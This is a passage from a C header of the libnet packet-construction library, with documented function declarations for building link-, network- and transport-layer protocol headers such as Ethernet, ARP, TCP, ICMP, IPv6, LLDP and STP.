IEEE 802.3 header, with the exception that the field * immediately following the source address holds the layer 3 protocol (as * opposed to frame's length). You should only use this function when * libnet is initialized with the LIBNET_LINK interface. * @param dst destination ethernet address * @param src source ethernet address * @param type upper layer protocol type * @param payload optional payload or NULL * @param payload_s payload length or 0 * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_build_ethernet(const uint8_t *dst, const uint8_t *src, uint16_t type, const uint8_t* payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag); /** * Autobuilds an Ethernet header. The RFC 894 Ethernet II header is almost * identical to the IEEE 802.3 header, with the exception that the field * immediately following the source address holds the layer 3 protocol (as * opposed to frame's length). You should only use this function when * libnet is initialized with the LIBNET_LINK interface. * @param dst destination ethernet address * @param type upper layer protocol type * @param l pointer to a libnet context * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_autobuild_ethernet(const uint8_t *dst, uint16_t type, libnet_t *l); /** * Builds a Fiber Distributed Data Interface (FDDI) header. * @param fc class format and priority * @param dst destination fddi address * @param src source fddi address * @param dsap destination service access point * @param ssap source service access point * @param cf cf * @param oui 3 byte IEEE organizational code * @param type upper layer protocol * @param payload optional payload or NULL * @param payload_s payload length or 0 * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_build_fddi(uint8_t fc, const uint8_t *dst, const uint8_t *src, uint8_t dsap, uint8_t ssap, uint8_t cf, const uint8_t *oui, uint16_t type, const uint8_t* payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag); /** * Autobuilds a Fiber Distributed Data Interface (FDDI) header. * @param fc class format and priority * @param dst destination fddi address * @param dsap destination service access point * @param ssap source service access point * @param cf cf * @param oui IEEE organizational code * @param type upper layer protocol * @param l pointer to a libnet context * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_autobuild_fddi(uint8_t fc, const uint8_t *dst, uint8_t dsap, uint8_t ssap, uint8_t cf, const uint8_t *oui, uint16_t type, libnet_t *l); /** * Builds an Address Resolution Protocol (ARP) header. Depending on the op * value, the function builds one of several different types of RFC 826 or * RFC 903 RARP packets. * @param hrd hardware address format * @param pro protocol address format * @param hln hardware address length * @param pln protocol address length * @param op ARP operation type * @param sha sender's hardware address * @param spa sender's protocol address * @param tha target hardware address * @param tpa target protocol address * @param payload optional payload or NULL * @param payload_s payload length or 0 * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_build_arp(uint16_t hrd, uint16_t pro, uint8_t hln, uint8_t pln, uint16_t op, const uint8_t *sha, const uint8_t *spa, const uint8_t *tha, const uint8_t *tpa, const uint8_t* payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag); /** * Autouilds an Address Resolution Protocol (ARP) header. Depending on the op * value, the function builds one of several different types of RFC 826 or * RFC 903 RARP packets. * @param op ARP operation type * @param sha sender's hardware address * @param spa sender's protocol address * @param tha target hardware address * @param tpa target protocol address * @param l pointer to a libnet context * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_autobuild_arp(uint16_t op, const uint8_t *sha, const uint8_t *spa, const uint8_t *tha, const uint8_t *tpa, libnet_t *l); /** * Builds an RFC 793 Transmission Control Protocol (TCP) header. * @param sp source port * @param dp destination port * @param seq sequence number * @param ack acknowledgement number * @param control control flags * @param win window size * @param sum checksum (0 for libnet to auto-fill) * @param urg urgent pointer * @param len total length of the TCP packet (for checksum calculation) * @param payload * @param payload_s payload length or 0 * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_build_tcp(uint16_t sp, uint16_t dp, uint32_t seq, uint32_t ack, uint8_t control, uint16_t win, uint16_t sum, uint16_t urg, uint16_t len, const uint8_t* payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag); /** * Builds an RFC 793 Transmission Control Protocol (TCP) options header. * The function expects options to be a valid TCP options string of size * options_s, which is no larger than 40 bytes (the maximum size of an * options string). The function checks to ensure that the packet consists of * a TCP header preceded by an IPv4 header, and that the addition of the * options string would not result in a packet larger than 65,535 bytes * (IPMAXPACKET). The function counts up the number of 32-bit words in the * options string and adjusts the TCP header length value as necessary. * @param options byte string of TCP options * @param options_s length of options string * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_build_tcp_options(const uint8_t *options, uint32_t options_s, libnet_t *l, libnet_ptag_t ptag); /** * Builds an RFC 768 User Datagram Protocol (UDP) header. * @param sp source port * @param dp destination port * @param len total length of the UDP packet * @param sum checksum (0 for libnet to auto-fill) * @param payload optional payload or NULL * @param payload_s payload length or 0 * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_build_udp(uint16_t sp, uint16_t dp, uint16_t len, uint16_t sum, const uint8_t* payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag); /** * Builds a Cisco Discovery Protocol (CDP) header. Cisco Systems designed CDP * to aid in the network management of adjacent Cisco devices. The CDP protocol * specifies data by using a type/length/value (TLV) setup. The first TLV can * specified by using the functions type, length, and value arguments. To * specify additional TLVs, the programmer could either use the payload * interface or libnet_build_data() to construct them. * @param version CDP version * @param ttl time to live (time information should be cached by recipient) * @param sum checksum (0 for libnet to auto-fill) * @param type type of data contained in value * @param value_s length of value argument * @param value the CDP information string * @param payload optional payload or NULL * @param payload_s payload length or 0 * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_build_cdp(uint8_t version, uint8_t ttl, uint16_t sum, uint16_t type, uint16_t value_s, const uint8_t *value, const uint8_t* payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag); /** * Builds a LLDP Chassis ID TLV. The Chassis ID TLV is the _first_ mandatory TLV in the LLDPDU. * @param subtype Chassis ID Subtype * @param value the Chassis ID string * @param value_s length of value argument * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_build_lldp_chassis(const uint8_t subtype, const uint8_t *value, const uint8_t value_s, libnet_t *l, libnet_ptag_t ptag); /** * Builds a LLDP Port ID TLV. The Port ID TLV is the _second_ mandatory TLV in the LLDPDU. * @param subtype Port ID Subtype * @param value the Port ID string * @param value_s length of value argument * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_build_lldp_port(const uint8_t subtype, const uint8_t *value, const uint8_t value_s, libnet_t *l, libnet_ptag_t ptag); /** * Builds a LLDP TTL TLV. The TTL TLV is the _third_ mandatory TLV in the LLDPDU. * @param ttl number of seconds * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_build_lldp_ttl(const uint16_t ttl, libnet_t *l, libnet_ptag_t ptag); /** * Builds a LLDP End of LLDPDU TLV. * The End of LLDPDU TLV used to mark the end of the TLV sequence in LLDPDU. * Is a 2 octet all-zero TLV * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_build_lldp_end(libnet_t *l, libnet_ptag_t ptag); /** * Builds a LLDP Organization Specific TLV. * @param value the TLV information string * @param value_s length of value argument * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_build_lldp_org_spec(const uint8_t *value, const uint16_t value_s, libnet_t *l, libnet_ptag_t ptag); /** * At the moment, this function is not implemented. * * This stub may be useful in feature to let to the user build the * LLDPDU in one function by passing corresponding arguments. */ //libnet_ptag_t libnet_build_lldp(libnet_t *l, libnet_ptag_t ptag); /** * Builds an IP version 4 RFC 792 Internet Control Message Protocol (ICMP) * echo request/reply header * @param type type of ICMP packet (should be ICMP_ECHOREPLY or ICMP_ECHO) * @param code code of ICMP packet (should be 0) * @param sum checksum (0 for libnet to auto-fill) * @param id identification number * @param seq packet sequence number * @param payload optional payload or NULL * @param payload_s payload length or 0 * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_build_icmpv4_echo(uint8_t type, uint8_t code, uint16_t sum, uint16_t id, uint16_t seq, const uint8_t* payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag); /** * Builds an IP version 4 RFC 792 Internet Control Message Protocol (ICMP) * IP netmask request/reply header. * @param type type of ICMP packet (should be ICMP_MASKREQ or ICMP_MASKREPLY) * @param code code of ICMP packet (should be 0) * @param sum checksum (0 for libnet to auto-fill) * @param id identification number * @param seq packet sequence number * @param mask subnet mask * @param payload optional payload or NULL * @param payload_s payload length or 0 * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_build_icmpv4_mask(uint8_t type, uint8_t code, uint16_t sum, uint16_t id, uint16_t seq, uint32_t mask, const uint8_t* payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag); /** * Builds an IP version 4 RFC 792 Internet Control Message Protocol (ICMP) * unreachable header. The IP header that caused the error message should be * built by a previous call to libnet_build_ipv4(). * @param type type of ICMP packet (should be ICMP_UNREACH) * @param code code of ICMP packet (should be one of the 16 unreachable codes) * @param sum checksum (0 for libnet to auto-fill) * @param payload optional payload or NULL * @param payload_s payload length or 0 * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_build_icmpv4_unreach(uint8_t type, uint8_t code, uint16_t sum, const uint8_t* payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag); /** * Builds an IP version 4 RFC 792 Internet Message Control Protocol (ICMP) * redirect header. The IP header that caused the error message should be * built by a previous call to libnet_build_ipv4(). * @param type type of ICMP packet (should be ICMP_REDIRECT) * @param code code of ICMP packet (should be one of the four redirect codes) * @param sum checksum (0 for libnet to auto-fill) * @param gateway * @param payload optional payload or NULL * @param payload_s payload length or 0 * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_build_icmpv4_redirect(uint8_t type, uint8_t code, uint16_t sum, uint32_t gateway, const uint8_t* payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag); /** * Builds an IP version 4 RFC 792 Internet Control Message Protocol (ICMP) time * exceeded header. The IP header that caused the error message should be * built by a previous call to libnet_build_ipv4(). * * @param type type of ICMP packet (should be ICMP_TIMXCEED) * @param code code of ICMP packet (ICMP_TIMXCEED_INTRANS / ICMP_TIMXCEED_REASS) * @param sum checksum (0 for libnet to auto-fill) * @param payload optional payload or NULL * @param payload_s payload length or 0 * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_build_icmpv4_timeexceed(uint8_t type, uint8_t code, uint16_t sum, const uint8_t* payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag); /** * Builds an IP version 4 RFC 792 Internet Control Message Protocol (ICMP) * timestamp request/reply header. * * @param type type of ICMP packet (should be ICMP_TSTAMP or ICMP_TSTAMPREPLY) * @param code code of ICMP packet (should be 0) * @param sum checksum (0 for libnet to auto-fill) * @param id identification number * @param seq sequence number * @param otime originate timestamp * @param rtime receive timestamp * @param ttime transmit timestamp * @param payload optional payload or NULL * @param payload_s payload length or 0 * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_build_icmpv4_timestamp(uint8_t type, uint8_t code, uint16_t sum, uint16_t id, uint16_t seq, uint32_t otime, uint32_t rtime, uint32_t ttime, const uint8_t* payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag); /** * Builds an IP version 6 RFC 4443 Internet Control Message Protocol (ICMP) * echo or echo reply header. * * @param type type of ICMP packet (should be ICMP6_ECHO_REQUEST or ICMP6_ECHO_REPLY) * @param code code of ICMP packet (should be zero) * @param sum checksum (0 for libnet to auto-fill) * @param id echo id number * @param seq echo sequence number * @param payload optional payload or NULL * @param payload_s payload length or 0 * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_build_icmpv6_echo(uint8_t type, uint8_t code, uint16_t sum, uint16_t id, uint16_t seq, uint8_t *payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag); /** * Builds an IP version 6 RFC 4443 Internet Control Message Protocol (ICMP) * unreachable header. The IP header that caused the error message should be * built by a previous call to libnet_build_ipv6(). * * @param type type of ICMP packet (should be ICMP6_DST_UNREACH) * @param code code of ICMP packet (should be one of the 5 ICMP6_DST_UNREACH_* codes) * @param sum checksum (0 for libnet to auto-fill) * @param payload optional payload or NULL * @param payload_s payload length or 0 * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_build_icmpv6_unreach(uint8_t type, uint8_t code, uint16_t sum, uint8_t *payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag); /** * Builds an IP version 6 RFC 2461 Internet Control Message Protocol (ICMP) * NDP neighbour solicitation header. Could be used with * libnet_build_icmpv6_ndp_opt() and ICMPV6_NDP_OPT_SLLA. * @param type type of ICMP packet (should be ND_NEIGHBOR_SOLICIT) * @param code code of ICMP packet (should be zero) * @param sum checksum (0 for libnet to auto-fill) * @param target target ipv6 address * @param payload optional payload or NULL * @param payload_s payload length or 0 * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_build_icmpv6_ndp_nsol(uint8_t type, uint8_t code, uint16_t sum, struct libnet_in6_addr target, uint8_t *payload, uint32_t payload_s, libnet_t* l, libnet_ptag_t ptag); /** * Builds an IP version 6 RFC 2461 Internet Control Message Protocol (ICMP) * NDP neighbour advertisement header. Could be used with * libnet_build_icmpv6_ndp_opt() and ND_OPT_TARGET_LINKADDR. * @param type type of ICMP packet (should be ND_NEIGHBOR_ADVERT) * @param code code of ICMP packet (should be zero) * @param sum checksum (0 for libnet to auto-fill) * @param flags should be a bitwise or of any applicable ND_NA_FLAG_* flags * @param target target ipv6 address * @param payload optional payload or NULL * @param payload_s payload length or 0 * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_build_icmpv6_ndp_nadv(uint8_t type, uint8_t code, uint16_t sum, uint32_t flags, struct libnet_in6_addr target, uint8_t *payload, uint32_t payload_s, libnet_t* l, libnet_ptag_t ptag); /** * Builds ICMPv6 NDP options. * @param type one of ND_OPT_* types * @param option option data * @param option_s size of option data (will be padded out to an 8-byte boundary) * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_build_icmpv6_ndp_opt(uint8_t type, uint8_t* option, uint32_t option_s, libnet_t* l, libnet_ptag_t ptag); /** * Builds an RFC 1112 Internet Group Membership Protocol (IGMP) header. * @param type packet type * @param reserved (should be 0 for IGMPv1) * @param sum checksum (0 for libnet to auto-fill) * @param ip IPv4 address (in standard/network byte order) * @param payload optional payload or NULL * @param payload_s payload length or 0 * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error * * @note 'reserved' was previously called 'code', which it is not, in any IGMP version. */ LIBNET_API libnet_ptag_t libnet_build_igmp(uint8_t type, uint8_t reserved, uint16_t sum, uint32_t ip, const uint8_t* payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag); /** * Builds a version 4 RFC 791 Internet Protocol (IP) header. * * @param ip_len total length of the IP packet including all subsequent data (subsequent * data includes any IP options and IP options padding) * @param tos type of service bits * @param id IP identification number * @param frag fragmentation bits and offset * @param ttl time to live in the network * @param prot upper layer protocol * @param sum checksum (0 for libnet to auto-fill) * @param src source IPv4 address (little endian) * @param dst destination IPv4 address (little endian) * @param payload optional payload or NULL * @param payload_s payload length or 0 * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_build_ipv4(uint16_t ip_len, uint8_t tos, uint16_t id, uint16_t frag, uint8_t ttl, uint8_t prot, uint16_t sum, uint32_t src, uint32_t dst, const uint8_t* payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag); /** * Builds an version 4 Internet Protocol (IP) options header. The function * expects options to be a valid IP options string of size options_s, no larger * than 40 bytes (the maximum size of an options string). * * When building a chain, the options must be built, then the IPv4 header. * * When updating a chain, if the block following the options is an IPv4 header, * it's total length and header length will be updated if the options block * size changes. * * @param options byte string of IP options (it will be padded up to be an integral * multiple of 32-bit words). * @param options_s length of options string * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_build_ipv4_options(const uint8_t *options, uint32_t options_s, libnet_t *l, libnet_ptag_t ptag); /** * Autobuilds a version 4 Internet Protocol (IP) header. The function is useful * to build an IP header quickly when you do not need a granular level of * control. The function takes the same len, prot, and dst arguments as * libnet_build_ipv4(). The function does not accept a ptag argument, but it * does return a ptag. In other words, you can use it to build a new IP header * but not to modify an existing one. * @param len total length of the IP packet including all subsequent data * @param prot upper layer protocol * @param dst destination IPv4 address (little endian) * @param l pointer to a libnet context * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_autobuild_ipv4(uint16_t len, uint8_t prot, uint32_t dst, libnet_t *l); /** * Builds a version 6 RFC 2460 Internet Protocol (IP) header. * @param tc traffic class * @param fl flow label * @param len total length of the IP packet * @param nh next header * @param hl hop limit * @param src source IPv6 address * @param dst destination IPv6 address * @param payload optional payload or NULL * @param payload_s payload length or 0 * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_build_ipv6(uint8_t tc, uint32_t fl, uint16_t len, uint8_t nh, uint8_t hl, struct libnet_in6_addr src, struct libnet_in6_addr dst, const uint8_t* payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag); /** * Builds a version 6 RFC 2460 Internet Protocol (IP) fragmentation header. * @param nh next header * @param reserved unused value... OR IS IT! * @param frag fragmentation bits (ala ipv4) * @param id packet identification * @param payload optional payload or NULL * @param payload_s payload length or 0 * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_build_ipv6_frag(uint8_t nh, uint8_t reserved, uint16_t frag, uint32_t id, const uint8_t* payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag); /** * Builds a version 6 RFC 2460 Internet Protocol (IP) routing header. This * function is special in that it uses the payload interface to include the * "type-specific data"; that is the routing information. Most often this will * be a number of 128-bit IPv6 addresses. The application programmer will build * a byte string of IPv6 address and pass them to the function using the * payload interface. * @param nh next header * @param len length of the header in 8-byte octets not including the first 8 octets * @param rtype routing header type * @param segments number of routing segments that follow * @param payload optional payload of routing information * @param payload_s payload length * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_build_ipv6_routing(uint8_t nh, uint8_t len, uint8_t rtype, uint8_t segments, const uint8_t* payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag); /** * Builds a version 6 RFC 2460 Internet Protocol (IP) destination options * header. This function is special in that it uses the payload interface to * include the options data. The application programmer will build an IPv6 * options byte string and pass it to the function using the payload interface. * @param nh next header * @param len length of the header in 8-byte octets not including the first 8 octets * @param payload options payload * @param payload_s payload length * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_build_ipv6_destopts(uint8_t nh, uint8_t len, const uint8_t* payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag); /** * Builds a version 6 RFC 2460 Internet Protocol (IP) hop by hop options * header. This function is special in that it uses the payload interface to * include the options data. The application programmer will build an IPv6 * hop by hop options byte string and pass it to the function using the payload * interface. * @param nh next header * @param len length of the header in 8-byte octets not including the first 8 octets * @param payload options payload * @param payload_s payload length * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_build_ipv6_hbhopts(uint8_t nh, uint8_t len, const uint8_t* payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag); /** * Autobuilds a version 6 RFC 2460 Internet Protocol (IP) header. The function * is useful to build an IP header quickly when you do not need a granular * level of control. The function takes the same len, nh, and dst arguments * as libnet_build_ipv4(). The function does not accept a ptag argument, but it * does return a ptag. In other words, you can use it to build a new IP header * but not to modify an existing one. * This function requires libnet_get_ipaddr6(), which is not yet implemented * for Win32 platforms. * @param len length * @param nh next header * @param dst destination IPv6 address * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_autobuild_ipv6(uint16_t len, uint8_t nh, struct libnet_in6_addr dst, libnet_t *l, libnet_ptag_t ptag); /** * Builds a Cisco Inter-Switch Link (ISL) header. * @param dhost destination address (should be 01:00:0c:00:00) * @param type type of frame * @param user user defined data * @param shost source mac address * @param len total length of the encapsulated packet less 18 bytes * @param snap SNAP information (0xaaaa03 + vendor code) * @param vid 15 bit VLAN ID, 1 bit BPDU or CDP indicator * @param portindex port index * @param reserved used for FDDI and token ring * @param payload optional payload or NULL * @param payload_s payload length or 0 * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_build_isl(uint8_t *dhost, uint8_t type, uint8_t user, uint8_t *shost, uint16_t len, const uint8_t *snap, uint16_t vid, uint16_t portindex, uint16_t reserved, const uint8_t* payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag); /** * Builds an Internet Protocol Security Encapsulating Security Payload header. * @param spi security parameter index * @param seq ESP sequence number * @param iv initialization vector * @param payload optional payload or NULL * @param payload_s payload length or 0 * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_build_ipsec_esp_hdr(uint32_t spi, uint32_t seq, uint32_t iv, const uint8_t* payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag); /** * Builds an Internet Protocol Security Encapsulating Security Payload footer. * @param len padding length * @param nh next header * @param auth authentication data * @param payload optional payload or NULL * @param payload_s payload length or 0 * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_build_ipsec_esp_ftr(uint8_t len, uint8_t nh, int8_t *auth, const uint8_t* payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag); /** * Builds an Internet Protocol Security Authentication header. * @param nh next header * @param len payload length * @param res reserved * @param spi security parameter index * @param seq sequence number * @param auth authentication data * @param payload optional payload or NULL * @param payload_s payload length or 0 * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_build_ipsec_ah(uint8_t nh, uint8_t len, uint16_t res, uint32_t spi, uint32_t seq, uint32_t auth, const uint8_t* payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag); /** * Builds an RFC 1035 version 4 DNS header. Additional DNS payload information * should be specified using the payload interface. * @param h_len * @param id DNS packet id * @param flags control flags * @param num_q number of questions * @param num_anws_rr number of answer resource records * @param num_auth_rr number of authority resource records * @param num_addi_rr number of additional resource records * @param payload optional payload or NULL * @param payload_s payload length or 0 * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_build_dnsv4(uint16_t h_len, uint16_t id, uint16_t flags, uint16_t num_q, uint16_t num_anws_rr, uint16_t num_auth_rr, uint16_t num_addi_rr, const uint8_t* payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag); /** * Builds a Routing Information Protocol header (RFCs 1058 and 2453). * @param cmd command * @param version protocol version * @param rd version one: 0, version two: routing domain * @param af address family * @param rt version one: 0, version two: route tag * @param addr IPv4 address * @param mask version one: 0, version two: subnet mask * @param next_hop version one: 0, version two: next hop address * @param metric routing metric * @param payload optional payload or NULL * @param payload_s payload length or 0 * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_build_rip(uint8_t cmd, uint8_t version, uint16_t rd, uint16_t af, uint16_t rt, uint32_t addr, uint32_t mask, uint32_t next_hop, uint32_t metric, const uint8_t* payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag); /** * Builds an Remote Procedure Call (Version 2) Call message header as * specified in RFC 1831. This builder provides the option for * specifying the record marking which is required when used with * streaming protocols (TCP). * @param rm record marking indicating the position in a stream, 0 otherwise * @param xid transaction identifier used to link calls and replies * @param prog_num remote program specification typically between 0 - 1fffffff * @param prog_vers remote program version specification * @param procedure procedure to be performed by remote program * @param cflavor authentication credential type * @param clength credential length (should be 0) * @param cdata opaque credential data (currently unused) * @param vflavor authentication verifier type * @param vlength verifier length (should be 0) * @param vdata opaque verifier data (currently unused) * @param payload optional payload or NULL * @param payload_s payload length or 0 * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_build_rpc_call(uint32_t rm, uint32_t xid, uint32_t prog_num, uint32_t prog_vers, uint32_t procedure, uint32_t cflavor, uint32_t clength, uint8_t *cdata, uint32_t vflavor, uint32_t vlength, const uint8_t *vdata, const uint8_t* payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag); /** * Builds an IEEE 802.1d Spanning Tree Protocol (STP) configuration header. * STP frames are usually encapsulated inside of an 802.2 + 802.3 frame * combination. * @param id protocol id * @param version protocol version * @param bpdu_type bridge protocol data unit type * @param flags flags * @param root_id root id * @param root_pc root path cost * @param bridge_id bridge id * @param port_id port id * @param message_age message age * @param max_age max age * @param hello_time hello time * @param f_delay forward delay * @param payload optional payload or NULL * @param payload_s payload length or 0 * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_build_stp_conf(uint16_t id, uint8_t version, uint8_t bpdu_type, uint8_t flags, const uint8_t *root_id, uint32_t root_pc, const uint8_t *bridge_id, uint16_t port_id, uint16_t message_age, uint16_t max_age, uint16_t hello_time, uint16_t f_delay, const uint8_t* payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag); /** * Builds an IEEE 802.1d Spanning Tree Protocol (STP) topology change * notification header. STP frames are usually encapsulated inside of an * 802.2 + 802.3 frame combination. * @param id protocol id * @param version protocol version * @param bpdu_type bridge protocol data unit type * @param payload optional payload or NULL * @param payload_s payload length or 0 * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_build_stp_tcn(uint16_t id, uint8_t version, uint8_t bpdu_type, const uint8_t* payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag); /** * Builds an UniDirectional Link Detection(UDLD) header. * UDLD frames are usually encapsulated inside of an 802.2 + 802.3 frame * combination. * @param version UDLD PDU version number * @param opcode operation code * @param flags flags * @param checksum checksum (0 for libnet to auto-fill) * @param payload optional payload or NULL * @param payload_s payload length or 0 * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_build_udld_hdr(uint8_t version, uint8_t opcode, uint8_t flags, uint8_t checksum, const uint8_t* payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag); /** * Builds an UniDirectional Link Detection(UDLD) Device ID TLV. * @param value device id(ASCII character string) * @param value_s device id(ASCII character string) length * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_build_udld_device_id(const uint8_t *value, const uint8_t value_s, 